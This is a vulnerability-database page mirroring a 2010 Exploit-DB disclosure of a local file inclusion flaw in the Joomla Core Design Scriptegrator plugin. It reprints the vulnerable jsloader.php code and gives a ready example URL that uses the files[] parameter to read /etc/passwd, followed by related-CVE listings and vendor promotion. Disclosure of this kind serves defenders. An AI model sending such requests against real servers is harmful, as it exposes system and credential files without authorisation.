Lucene search
+L

Joomla! Plugin Core Design Scriptegrator - Local File Inclusion

🗓️ 18 Feb 2010 00:00:00Reported by S2 CrewType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 72 Views

Joomla! Plugin Core Design Scriptegrator - Local File Inclusio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-0759
18 Feb 201000:00
circl
circl
Circl
CVE-2010-0760
18 Feb 201000:00
circl
cve
CVE
CVE-2010-0759
27 Feb 201000:00
cve
cve
CVE
CVE-2010-0760
27 Feb 201000:00
cve
cvelist
Cvelist
CVE-2010-0759
27 Feb 201000:00
cvelist
cvelist
Cvelist
CVE-2010-0760
27 Feb 201000:00
cvelist
euvd
EUVD
EUVD-2010-0785
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2010-0786
7 Oct 202500:30
euvd
nuclei
Nuclei
Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
1 Aug 202610:03
nuclei
nvd
NVD
CVE-2010-0759
27 Feb 201000:30
nvd
Rows per page
# Exploit Title: Core Design Scriptegrator plugin for Joomla! 1.5 file inclusion
# Author: S2 Crew [Hungary]
# Tested on: Debian Linux, Apache, Joomla! 1.5

# Code:

There's a file called jsloader.php which takes an array of file names
from the HTTP GET parameters and calls include() on every one of them.

-----------------8<-----------------------------------------------
<?php
/**
 * Core Design Scriptegrator plugin for Joomla! 1.5
 */

define('DS', DIRECTORY_SEPARATOR);
$dir = dirname(__FILE__);

$files = array();
if (isset($_GET['files']) && $_GET['files']) $files = $_GET['files'];

if (extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler');

header("Content-type: application/x-javascript");
header('Cache-Control: must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT');

foreach ($files as $file) {
        if (is_file($file)) {
                include($file);
                echo "\n";
        }
}
?>
-----------------8<-----------------------------------------------

The problem is that the only protection is the is_file() call (therefore it cannot
be used for remote file inclusion), so it's trivial to exploit this vulnerability to
execute the PHP interpreter on any file on the target system the httpd user can read.

Example:
http://server/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation